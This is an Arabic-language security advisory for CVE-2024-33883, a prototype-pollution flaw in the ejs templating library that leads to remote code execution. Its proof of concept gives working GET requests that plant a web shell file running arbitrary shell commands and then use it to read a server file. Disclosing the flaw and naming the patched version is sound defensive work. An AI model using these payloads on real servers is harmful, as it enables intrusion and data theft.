CVE-2024-33883

[email protected]، التحقق غير الكافي من تلوث النموذج الأولي مما يؤدي إلى استغلال تنفيذ التعليمات البرمجية عن بُعد (RCE)

• مع تلوث النموذج الأولي، قم بتعيين opts.client إلى قيمة صحيحة (شرط)
• بعد ذلك، عند تشغيل render()، سيقوم ejs بتشغيل قيمة opts.escapeFunction ككود JS.

نطاق الكود الضعيف

بناءً على [email protected]

1. ejs/lib/ejs.js - السطر 580, 636, 637

إثبات المفهوم (حقن شل ويب وتفعيله)

1. GET /pollute?target=client&value=1

2. GET /pollute?target=escapeFunction&value=process.mainModule.require("fs").writeFileSync('./payload.js', "function RCE( key ){ \n const result = process.mainModule.require('child_process').execSync(`${key}`); \n throw new Error(`Result leak from Error: ${result.toString()}`); \n}\n module.exports = RCE;");

3. GET /
- حقن شل ويب

4. GET /pollute?target=escapeFunction&value=process.mainModule.require("./payload.js")("cat ./Leak_target");

5. GET /
- تفعيل شل ويب

• يمكن لإثبات المفهوم أعلاه تجاوز إسقاط الحزم الصادرة لجدار الحماية ufw.

• جميع الإصدارات الأقل من 3.1.10 معرضة لهذا النوع من الهجمات.

• هذه ثغرة RCE، ولا تسيء استخدامها على خادم حي.

شروط الهجوم المتاحة

1. يحتاج إلى التحكم في render().
2. يحتاج إلى التحكم في متجه هجوم تلوث النموذج الأولي.

• إذا تحقق الشرطان أعلاه، يصبح هجوم RCE متاحًا.

كيف يمكنني منع هذا الهجوم؟

• الإصدار المُصحح ([email protected]) متاح الآن.